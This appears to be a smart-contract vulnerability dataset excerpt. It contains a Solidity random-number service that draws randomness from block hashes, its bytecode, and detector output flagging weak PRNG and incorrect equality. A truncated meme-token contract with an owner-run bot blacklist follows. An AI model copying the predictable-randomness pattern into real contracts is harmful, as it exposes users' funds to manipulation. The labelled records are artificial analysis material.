* Math operations with safety checks that throw on error.
* Taking ideas from FirstBlood token. Enhanced by OpenZeppelin.
*/
contract SafeMath {
function mul(uint256 a, uint256 b)
internal
constant
returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b)
internal
constant
returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b)
internal
constant
returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b)
internal
constant
returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* Random number generator from mined block hash.
*/
contract Random is SafeMath {
// Generates a random number from 1 to max based on the last block hash.
function generateRandomNumber(uint blockNumber, uint max)
public
constant
returns(uint) {
//
// block.blockhash(uint blockNumber)
// returns
// (bytes32): hash of the given block
//
// +!+!+! only works for 256 most recent blocks excluding current !+!+!+
//
// requests generated from expired blocks
// will still get a random number,
// but they will be considered less secure
// as it introduces a potential vulnerability.
//
return(add(uint(sha3(block.blockhash(blockNumber))) % max, 1));
}
}
/**
* Returns most recent expired block.
* Know if the block number use with generateRandomNumber
* is actually the hash that generates the number.
*/
contract Fresh is SafeMath {
function expiredBlock()
internal
constant
returns(uint) {
uint256 expired = block.number;
if (expired > 256) {
expired = sub(expired, 256);
}
return expired;
}
}
/**
* RandomLedger is the main public interface for a random number ledger.
*
* The ledger feature embraces the blockchain capablities,
* leveaged by the Event logs generated by Ethereum Smart Contracts.
* "Events are inheritable members of contracts. When they are called,
* they cause the arguments to be stored in the transaction's log
* - a special data structure in the blockchain. These logs are associated with
* the address of the contract and will be incorporated into the blockchain and
* stay there as long as a block is accessible (forever as of Frontier
* and Homestead, but this might change with Serenity)."
* ++ Read more in the solidity#events documentation. ++
*
* To make a request:
* Step 1: Call requestNumber with the `cost` as the value
* Step 2: Wait waitTime in blocks past the block which mines transaction for requestNumber
* Step 3: Call revealNumber to generate the number, and make it publicly accessable in the UI.
* this is required to create the Events which generate the Ledger.
*/
contract RandomLedger is Owned {
// ~> cost to generate a random number in Wei.
uint256 public cost;
// ~> waitTime is the number of blocks before random is generated.
uint8 public defaultWaitTime;
// ~> set default max
uint256 public defaultMax;
//
// RandomNumber represents one number.
struct RandomNumber {
address requestProxy;
uint256 renderedNumber;
uint256 originBlock;
uint256 max;
// blocks to wait,
// also maintains pending state
uint8 waitTime;
// was the number revealed within the 256 block window
uint256 expired;
}
//
// for Number Ledger
event EventRandomLedgerRequested(address requestor, uint256 max, uint256 originBlock, uint8 waitTime, address indexed requestProxy);
event EventRandomLedgerRevealed(address requestor, uint256 originBlock, uint256 renderedNumber, uint256 expiredBlock, address indexed requestProxy);
mapping (address => RandomNumber) public randomNumbers;
mapping (address => bool) public whiteList;
function requestNumber(address _requestor, uint256 _max, uint8 _waitTime) payable public;
function revealNumber(address _requestor) payable public;
}
/**
* Lucky Number :: Random Ledger [Number Generator] Service *~+>
* Any contract or address can make a request from this implementation
* on behalf of any other address as a requestProxy.
*/
contract RandomLedgerService is RandomLedger, Random, Fresh {
// Initialize state +.+.+.
function RandomLedgerService() {
owned();
cost = 20000000000000000; // 0.02 ether // 20 finney
defaultMax = 15; // generate number between 1 and 15
defaultWaitTime = 3; // 3 blocks
}
// Let owner customize defauts.
// Allow the owner to set max.
function setMax(uint256 _max)
onlyOwner
public
returns (bool) {
defaultMax = _max;
return true;
}
// Allow the owner to set waitTime. (in blocks)
function setWaitTime(uint8 _waitTime)
onlyOwner
public
returns (bool) {
defaultWaitTime = _waitTime;
return true;
}
// Allow the owner to set cost.
function setCost(uint256 _cost)
onlyOwner
public
returns (bool) {
cost = _cost;
return true;
}
// Allow the owner to set a transaction proxy
// which can perform value exchanges on behalf of this contract.
// (unrelated to the requestProxy which is not whiteList)
function enableProxy(address _proxy)
onlyOwner
public
returns (bool) {
whiteList[_proxy] = true;
return whiteList[_proxy];
}
function removeProxy(address _proxy)
onlyOwner
public
returns (bool) {
delete whiteList[_proxy];
return true;
}
// Allow the owner to cash out the holdings of this contract.
function withdraw(address _recipient, uint256 _balance)
onlyOwner
public
returns (bool) {
_recipient.transfer(_balance);
return true;
}
// Assume that simple transactions are trying to request a number,
// unless it is from the owner.
function () payable public {
assert(msg.sender != owner);
// make a quick request
// *~+> use default max and waitTime
requestNumber(msg.sender, defaultMax, defaultWaitTime);
}
// Request a Number ... *~>
function requestNumber(address _requestor, uint256 _max, uint8 _waitTime)
payable
public {
// external requirement:
// value must exceed cost
// unless address is whitelisted
if (!whiteList[msg.sender]) {
require(!(msg.value < cost));
}
// internal requirement:
// request address must not have pending number
assert(!isRequestPending(_requestor));
// set pending number with default max and waitTime
randomNumbers[_requestor] = RandomNumber({
requestProxy: tx.origin, // requestProxy: original address that kicked off the transaction
renderedNumber: 0,
max: defaultMax,
originBlock: block.number,
expired: 0,
waitTime: defaultWaitTime
});
// custom number configurations
if (_max > 1) {
randomNumbers[_requestor].max = _max;
}
// max 250 wait to leave a few blocks
// for the reveal transction to occur
// and write from the pending numbers block
// before it expires
if (_waitTime > 0 && _waitTime < 250) {
randomNumbers[_requestor].waitTime = _waitTime;
}
// log event +.+.+.
EventRandomLedgerRequested(_requestor, randomNumbers[_requestor].max, randomNumbers[_requestor].originBlock, randomNumbers[_requestor].waitTime, randomNumbers[_requestor].requestProxy);
}
// Reveal your number ... *~>
// Only requestor or proxy can generate the number
function revealNumber(address _requestor)
public
payable {
assert(_canReveal(_requestor, msg.sender));
// waitTime has passed, render this requestor's number.
_revealNumber(_requestor);
}
// Internal implementation of revealNumber().
function _revealNumber(address _requestor)
internal {
uint256 luckyBlock = _revealBlock(_requestor);
//
// TIME LIMITATION ~> should handle in user interface
// blocks older than (currentBlock - 256)
// "expire" and read the same hash as most recent valid block
randomNumbers[_requestor].expired = expiredBlock();
// *~+> get number!
randomNumbers[_requestor].renderedNumber = generateRandomNumber(luckyBlock, randomNumbers[_requestor].max);
// log event +.+.+.
EventRandomLedgerRevealed(_requestor, randomNumbers[_requestor].originBlock, randomNumbers[_requestor].renderedNumber, randomNumbers[_requestor].expired, randomNumbers[_requestor].requestProxy);
// zero out wait blocks since this is now inactive (for state management)
randomNumbers[_requestor].waitTime = 0;
}
function canReveal(address _requestor)
public
constant
returns (bool, uint, uint) {
return (_canReveal(_requestor, msg.sender), _remainingBlocks(_requestor), _revealBlock(_requestor));
}
function _canReveal(address _requestor, address _proxy)
internal
constant
returns (bool) {
// check for pending number request
if (isRequestPending(_requestor)) {
// check for no remaining blocks to be mined
// must wait for `randomNumbers[_requestor].waitTime` to be excceeded
if (_remainingBlocks(_requestor) == 0) {
// check for ownership
if (randomNumbers[_requestor].requestProxy == _requestor || randomNumbers[_requestor].requestProxy == _proxy) {
return true;
}
}
}
return false;
}
function _remainingBlocks(address _requestor)
internal
constant
returns (uint) {
uint256 revealBlock = add(randomNumbers[_requestor].originBlock, randomNumbers[_requestor].waitTime);
uint256 remainingBlocks = 0;
if (revealBlock > block.number) {
remainingBlocks = sub(revealBlock, block.number);
}
return remainingBlocks;
}
function _revealBlock(address _requestor)
internal
constant
returns (uint) {
// add wait block time
// to creation block time
// then subtract 1
return add(randomNumbers[_requestor].originBlock, randomNumbers[_requestor].waitTime);
}
function getNumber(address _requestor)
public
constant
returns (uint, uint, uint, uint) {
return (randomNumbers[_requestor].renderedNumber, randomNumbers[_requestor].max, randomNumbers[_requestor].originBlock, randomNumbers[_requestor].expired);
}
// is a number request pending for the address
function isRequestPending(address _requestor)
public
constant
returns (bool) {
if (randomNumbers[_requestor].renderedNumber == 0 && randomNumbers[_requestor].waitTime > 0) {
return true;
}
return false;
}
// 0xMMWKkk0KN/>HBBi/MASSa/DANTi/LANTen.MI.MI.MI.M+.+.+.M->MMWNKOkOKWJ.J.J.M*~+>
}
|
0x60606040523615610110576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806313faede614610189578063142769aa146101b2578063171fcb5a146101f55780631951f9ba146102235780631fe9eabc14610274578063372c12b1146102af57806344a0d68a1461030057806349af63a91461033b578063609526c2146103795780636cf27311146103b9578063709368801461045b5780638da5cb5b1461048a578063936315d6146104df578063942ea4661461053e578063a317abc7146105a0578063a9671dd9146105c9578063be116c3b1461061a578063df32754b1461066b578063f2fde38b14610680578063f3fef3a3146106b9575b5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415151561016a57fe5b61018633600354600260009054906101000a900460ff16610713565b5b005b341561019457600080fd5b61019c610b51565b6040518082815260200191505060405180910390f35b6101f3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803560ff16906020019091905050610713565b005b610221600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b57565b005b341561022e57600080fd5b61025a600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610b76565b604051808215151515815260200191505060405180910390f35b341561027f57600080fd5b6102956004808035906020019091905050610c33565b604051808215151515815260200191505060405180910390f35b34156102ba57600080fd5b6102e6600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ca2565b604051808215151515815260200191505060405180910390f35b341561030b57600080fd5b6103216004808035906020019091905050610cc2565b604051808215151515815260200191505060405180910390f35b341561034657600080fd5b61035f600480803560ff16906020019091905050610d31565b604051808215151515815260200191505060405180910390f35b341561038457600080fd5b6103a36004808035906020019091908035906020019091905050610db4565b6040518082815260200191505060405180910390f35b34156103c457600080fd5b6103f0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610df7565b604051808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018681526020018581526020018481526020018360ff1660ff168152602001828152602001965050505050505060405180910390f35b341561046657600080fd5b61046e610e60565b604051808260ff1660ff16815260200191505060405180910390f35b341561049557600080fd5b61049d610e73565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156104ea57600080fd5b610516600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610e98565b6040518084151515158152602001838152602001828152602001935050505060405180910390f35b341561054957600080fd5b610575600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610ec7565b6040518085815260200184815260200183815260200182815260200194505050505060405180910390f35b34156105ab57600080fd5b6105b3610fe9565b6040518082815260200191505060405180910390f35b34156105d457600080fd5b610600600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610fef565b604051808215151515815260200191505060405180910390f35b341561062557600080fd5b610651600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506110fa565b604051808215151515815260200191505060405180910390f35b341561067657600080fd5b61067e6111b1565b005b341561068b57600080fd5b6106b7600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506111f4565b005b34156106c457600080fd5b6106f9600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611294565b604051808215151515815260200191505060405180910390f35b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151561077857600154341015151561077757600080fd5b5b61078183610b76565b15151561078a57fe5b60c0604051908101604052803273ffffffffffffffffffffffffffffffffffffffff168152602001600081526020014381526020016003548152602001600260009054906101000a900460ff1660ff1681526020016000815250600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff021916908360ff16021790555060a0820151816005015590505060018211156109075781600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b60008160ff1611801561091d575060fa8160ff16105b1561097e5780600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160006101000a81548160ff021916908360ff1602179055505b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff3a1f828e2fac39ef3411246e1253df339515202e77c864af909284435c3292084600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff16604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018381526020018260ff1660ff16815260200194505050505060405180910390a25b505050565b60015481565b610b61813361133d565b1515610b6957fe5b610b72816114a2565b5b50565b600080600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154148015610c1b57506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1660ff16115b15610c295760019050610c2e565b600090505b919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c9057600080fd5b81600381905550600190505b5b919050565b60056020528060005260406000206000915054906101000a900460ff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d1f57600080fd5b81600181905550600190505b5b919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d8e57600080fd5b81600260006101000a81548160ff021916908360ff160217905550600190505b5b919050565b6000610dee828440604051808260001916600019168152602001915050604051809103902060019004811515610de657fe5b0660016117aa565b90505b92915050565b60046020528060005260406000206000915090508060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060010154908060020154908060030154908060040160009054906101000a900460ff16908060050154905086565b600260009054906101000a900460ff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000610ea7843361133d565b610eb0856117c9565b610eb986611892565b9250925092505b9193909250565b600080600080600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154600460008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005015493509350935093505b9193509193565b60035481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561104c57600080fd5b6001600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690505b5b919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561115757600080fd5b600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81549060ff0219169055600190505b5b919050565b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561124f57600080fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b50565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156112f157600080fd5b8273ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f19350505050151561133157600080fd5b600190505b5b92915050565b600061134883610b76565b15611497576000611358846117c9565b1415611496578273ffffffffffffffffffffffffffffffffffffffff16600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061148757508173ffffffffffffffffffffffffffffffffffffffff16600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b15611495576001905061149c565b5b5b600090505b92915050565b60006114ad82611892565b90506114b761193a565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005018190555061154981600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154610db4565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010181905550600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f30ced655bea069e71bc7fe355ee9b1d716e4e3fe80e9a2a2d62c3eaca9ffc2bb83600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050154604051808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200184815260200183815260200182815260200194505050505060405180910390a26000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160006101000a81548160ff021916908360ff1602179055505b5050565b60008082840190508381101515156117be57fe5b8091505b5092915050565b600080600061186c600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1660ff166117aa565b91506000905043821115611887576118848243611961565b90505b8092505b5050919050565b6000611932600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1660ff166117aa565b90505b919050565b6000804390506101008111156119595761195681610100611961565b90505b8091505b5090565b600082821115151561196f57fe5b81830390505b929150505600a165627a7a7230582044afc91722ce2e6727364fba5c236f20060e8b177cb3641dbe459c183453d87c0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "weak-prng", "impact": "High", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
| 5,705 |
0x1f22c5c2a97e1e507eafe6a0d9d0ad9228be7b50
|
/**
*Submitted for verification at Etherscan.io on 2021-06-28
*/
/*
█████████████████████████████████████████████████████████████████████████████████████████████████████████████
█░░░░░░░░░░░░░░█░░░░░░██░░░░░░█████████░░░░░░█░░░░░░░░░░████░░░░░░░░░░█░░░░░░██████████░░░░░░█░░░░░░██░░░░░░█
█░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀░░██░░▄▀░░█████████░░▄▀░░█░░▄▀▄▀▄▀░░████░░▄▀▄▀▄▀░░█░░▄▀░░░░░░░░░░██░░▄▀░░█░░▄▀░░██░░▄▀░░█
█░░▄▀░░░░░░░░░░█░░▄▀░░██░░▄▀░░█████████░░▄▀░░█░░░░▄▀░░░░████░░░░▄▀░░░░█░░▄▀▄▀▄▀▄▀▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░█
█░░▄▀░░█████████░░▄▀░░██░░▄▀░░█████████░░▄▀░░███░░▄▀░░████████░░▄▀░░███░░▄▀░░░░░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░█
█░░▄▀░░░░░░░░░░█░░▄▀░░██░░▄▀░░█████████░░▄▀░░███░░▄▀░░████████░░▄▀░░███░░▄▀░░██░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░█
█░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀░░██░░▄▀░░█████████░░▄▀░░███░░▄▀░░████████░░▄▀░░███░░▄▀░░██░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░█
█░░▄▀░░░░░░░░░░█░░▄▀░░██░░▄▀░░█░░░░░░██░░▄▀░░███░░▄▀░░████████░░▄▀░░███░░▄▀░░██░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░█
█░░▄▀░░█████████░░▄▀░░██░░▄▀░░█░░▄▀░░██░░▄▀░░███░░▄▀░░████████░░▄▀░░███░░▄▀░░██░░▄▀░░░░░░▄▀░░█░░▄▀░░██░░▄▀░░█
█░░▄▀░░█████████░░▄▀░░░░░░▄▀░░█░░▄▀░░░░░░▄▀░░█░░░░▄▀░░░░████░░░░▄▀░░░░█░░▄▀░░██░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀░░░░░░▄▀░░█
█░░▄▀░░█████████░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀▄▀▄▀▄▀▄▀░░█░░▄▀▄▀▄▀░░████░░▄▀▄▀▄▀░░█░░▄▀░░██░░░░░░░░░░▄▀░░█░░▄▀▄▀▄▀▄▀▄▀░░█
█░░░░░░█████████░░░░░░░░░░░░░░█░░░░░░░░░░░░░░█░░░░░░░░░░████░░░░░░░░░░█░░░░░░██████████░░░░░░█░░░░░░░░░░░░░░█
█████████████████████████████████████████████████████████████████████████████████████████████████████████████
* Website: https://www.fujiinu.com/
* Telegram: https://t.me/fujiinu
*
* 100% UNISWAP LIQUIDITY LAUNCH
* FUJI INU $FUJI
* ANTI BOT MECHANISM
* 10% fee on the sell, 5% will be used for buyback & burn, 2.5% for dev fund, 2.5% for marketing
* 2021 © FUJI INU | All rights reserved
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FUJI is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Fuji INU";
string private constant _symbol = "FUJI \u26F0";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 10;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (15 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
